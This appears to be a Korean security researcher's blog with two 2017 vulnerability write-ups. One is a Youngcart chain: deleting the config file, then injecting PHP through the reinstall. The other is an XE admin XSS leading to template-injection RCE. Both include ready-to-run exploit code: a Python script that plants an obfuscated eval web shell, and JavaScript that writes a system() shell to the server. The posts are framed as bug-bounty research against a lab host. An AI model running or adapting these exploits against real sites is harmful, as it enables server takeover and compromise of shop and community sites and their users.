2017년 5월 23일 화요일

Youngcart RCE

그누보드를 밥먹듯이 찾다보니 질린 나머지 다른 타켓을 잡아보기로 하였다.
그러다가 발견한게 그누보드를 만든 회사에서 만든 영카트라는 CMS였다. 영카트는 그누보드와는 달리 쇼핑몰을 겨냥해 만든 CMS 였었다 그래서 흥미가 생겨 무작정 소스코드를 열어 하나하나 보다보니 이상한 부분이 있었다.

shop/itemqaformupdate.php 80~ 96 코드를 보면 아래 사진과 같이 되어있었다.



위의 사진에 있는 소스코드의 동작을 대충 설명 하자면

$row['iq_question']의 값을 get_editor_image함수에 넣고 그 리턴값을 $imgs 변수에 저장을 해준다. 이때 $row['iq_question']의 값은 유저가 작성한 상품 문의글 내용이다.
그 후 $imgs 변수를 검사하면서 파일이 서버에 존재 하는지 안하는지 체크를 한후 만약 파일이 존재한다면 삭제를 하는 형식이였다.

그래서 난 get_editor_image 함수의 리턴값을 서버내 중요한 파일로 유도한뒤 그것을 삭제하게 하면 크리티컬 하지 않을까란 생각에 get_editor_image함수의 내부 구조를 살펴보기로 하였다.




생각보다 함수의 크기가 작아서 엄청 다행이였고 그래서 취약점을 찾기가 쉬웠다.
아까도 말했듯이 get_editor_image함수에는 $row['iq_question'] 값이 들어가고 $row['iq_question']값은 유저가 작성한 상품문의글이였다. 이제 대충 눈치를 채셨겠지만 계속 진행을 해보자면 $row['iq_question'] 변수에 정규식 /<img([^>]*)>/iS 에 매치 시킨다면 그 매치된 값이 리턴될테고 그 리턴된 값이 서버에 존재한다면 그 파일이 삭제 될것이다. 아래는 정규식을 매치시킨 예제이다.


띠용? 정규식에 매치시키는것은 쉬웠다. 그런데 취약점을 찾고나서 사람들한테 "야 나찾음 ㅋㅋ!" 하면서 자랑을 했더니 사람들이 반응이 대부분 "그거 삭제 해서 뭐하게" 라는 반응이였다. 그래서 잠시 시무룩 해졌다가 아이디어가 떠올랐다 그누보드든 영카트든 설치할때 구조가 data 디렉토리에 dbconfig.php 파일이 존재하는지 체크를 하고 만약 없다면 설치를 진행하는 구조였고 이 취약점으로 dbconfig.php파일을 지운다면 당연 재설치를 할꺼고 재설치를 하게 되면 웹쉘을 올릴수 있는 가능성이 커진다는 거다는거다.

그래서 install 하는 쪽 코드를 보다보니

install_db.php 파일쪽에서 아래 사진과 같은 부분을 발견하였다.



이걸 보고 아 이거다란 생각이 먼저 들었다. 사실 여기까지만 해도 대부분 사람들은 눈치챌텐대 친절하니 더 진행하기로함.

일단 익스방법은 간단했다 상품문의란에 <img/data/dbconfig.php>란 글을 쓰고 그 글을 삭제한뒤 영카트를 재설치 할때 mysql 비번을 '; phpinfo();// 이런식으로 만든뒤 설치를 하게되면 RCE가 된다.

마지막으로  itemuseformupdate.php 파일에서도 비슷하게 터지는 하나 더 찾아서 제보했으니 분석 해봐도 좋을듯하다.


poc video : 


영상 1 : https://youtu.be/L2wp2tf6GuQ
영상 2 : https://youtu.be/fS2hx0q0lrw

full exploit : 


import requests
import sys
import random
import string
import time
if len(sys.argv) is 1:
  exit("input it_id value")


it_id = sys.argv[1]
cookie = sys.argv[2]
cookie = cookie

print cookie
header =  {"cookie":cookie,
  "Content-Type":"application/x-www-form-urlencoded"}

payload = {"it_id":it_id,
  "iq_subject":"aaaaaa",
  "iq_question":"<img/data/dbconfig.php>"}

url = "http://10.211.55.3/aaa/shop/itemqaformupdate.php"

r = requests.post(url, data=payload, headers=header)

url = "http://10.211.55.3/aaa/shop/item.php?it_id=" + it_id
r = requests.get(url, headers=header)
content =  r.text.split('<a href="./itemqaformupdate.php?it_id='+ it_id +'&amp;iq_id=')[1]

iq_id = content.split("&")[0]
_hash = content.split("&amp;w=d&amp;hash=")[1].split('"')[0]


url = "http://10.211.55.3/aaa/shop/itemqaformupdate.php?w=d&iq_id="+ iq_id + "&hash=" + _hash
header =  {"cookie":cookie}

r = requests.get(url, headers=header)

url = "http://10.211.55.3/aaa/install/install_db.php"

c = string.letters + string.digits
rand_str = ''.join(random.sample(c, 6))

payload = {"mysql_host":"10.211.55.3",
  "mysql_user":"webshell",
  "mysql_pass":"');eval($_GET[x]);#",
  "mysql_db":"webshelldb",
  "table_prefix":rand_str,
  "g5_shop_prefix":rand_str,
  "g5_install":"1",
  "g5_shop_install":"1",
  "admin_id":"admin",
  "admin_pass":"1234",
  "admin_name":"admin",
  "admin_email":"admin@domain.com"}

header = {"Content-Type":"application/x-www-form-urlencoded"}

r = requests.post(url, data=payload, headers=header)
print "===== RCE ===="
time.sleep(3)
exploit = "file_put_contents(chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(46).chr(104).chr(116).chr(97).chr(99).chr(99).chr(101).chr(115).chr(115), chr(32));file_put_contents(chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(32).chr(63).chr(62));"
url = "http://10.211.55.3/aaa/?x=" + exploit
r = requests.get(url)
print "http://10.211.55.3/aaa/data/shell.php"


2017년 5월 22일 월요일

XE XSS to RCE

먼저 타켓을 XE로 잡게된 이유는 XE에서 자체적으로 버그 바운티 제도를 운영 한다는 소리를 듣고 타켓으로 선정 하기로 하였다.

자세한 내용은 아래 링크와 사진을 참고 하면 될거 같다.



https://www.xpressengine.com/security_bounty_program

타켓 선정을 한 후 XE의 소스를 다운 받아 구조부터 차근 차근 살펴 보기 시작 하였다.

일주일이 지나도 취약점은 나오지 나오지 않았고 오직 RCE또는 로직 우회 같은 취약점들의 가능성만 보이는거 같아 다시 xe기능을 살펴 보던중 XE 디비중 xe_menu_item 테이블에서



{$lang->menu_gnb_sub['userList']} 이런식으로 값을 저장을 하는걸 볼수 있었다.

보고 아 이거구나 하고 이 테이블에 어떻게 값을 넣을수 있는지 찾다보니 게시판 메뉴를 추가를 할때 저기에 추가가 되는것을 확인 할수 있었고 게시판 메뉴 이름을 {${phpinfo()}} 이런식으로 설정을 해주면 메인 페이지에서 phpinfo가 실행 되는것을 확인 할수 있었다.



이제 정상적으로 코드를 실행 할수 있는 방법을 찾았으나 문제가 있었다. 왜냐면 admin 권한이 있어야지 공격이 성공하기 때문이다 그래서 생각한게 XSS를 찾자 라는 생각이였고 그후 생각한게 어짜피 admin을 타켓으로 공격 할것인데 굳이 힘들게 user권한으로만 접근 할수 있는 페이지에서 찾지 말고 admin 페이지에서 xss를 찾자였다. 왜냐하면 admin 페이지는 대체로 좀 많이 취약하기 때문이다 하하하

그 후 xss를 찾기 시도 하자마자 바로 reflected xss을 찾았다.
http://10.211.55.3/xe/index.php?module=admin&act=dispFileAdminList&search_target=isvalid">exploit

xss를 찾은후 익스를 하다보니 문제가 생겼다 무슨 문제냐면 reflected xss는 브라우저의 영향 받게 되는데 난 영향을 받는게 매우 싫었고 갑자기 필터링을 우회 하는 방법을 정리해둔 블로그가 생각이 났고 따라 해보니 실제로 되었다.(생각해보니 임준오가 먼저 말해준거 같다)

방법은 아래 처럼 하면 된다. (매우 간단)

1. 서버에 우선 javascript가 들어있는 txt파일을 올린다.
2. http://10.211.55.3/xss.php?xss=%3Cscript%20src=%27./test.txt%27%3E%3C/script%3E
이런식으로 script src로 txt 파일을 불러오면 된다




짠! 우회가 되었다. 이제 모든 준비가 끝났다.

이제 XE에 script 파일을 업로드 한후 그 경로만 가져오면 끝난다.
하지만 일반 파일을 업로드 하면 경로를 안주고 .ra .jpg .video같은 확장자를 올려야지 경로를 뱉어 주길래 exploit.ra파일에 아래 내용을 담은후 경로를 가져온후 익스를 완성 시키면된다.


var xhr = new XMLHttpRequest();
xhr.open("POST","/xe/");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("ruleset=insertMenuItem&act=procMenuAdminInsertItem&menu_name_key=&menu_name={${file_put_contents('./files/attach/exploit.php', '<?php system($_GET[0]); ?>')}}&menu_desc=&module_type=ARTICLE&menu_open_window=N&menu_expand=N&is_shortcut=N&parent_srl=65&module_id=&module=menu");


http://10.211.55.3/xe/index.php?module=admin&act=dispFileAdminList&search_target=isvalid"><script src='{ra file path}’></script></span>

그 후 1:1 문의나 쪽지 또는 게시글에 admin이 클릭 하게 유도를 하게 되면 files/attach/ 에 exploit.php파일이 생성 된다. (익스를 더 완벽하게 할려면 주소 줄이기 같은걸 이용해도 좋다)


위 사진은 쉘을 업로드 한후 커맨드를 실행한 모습이다.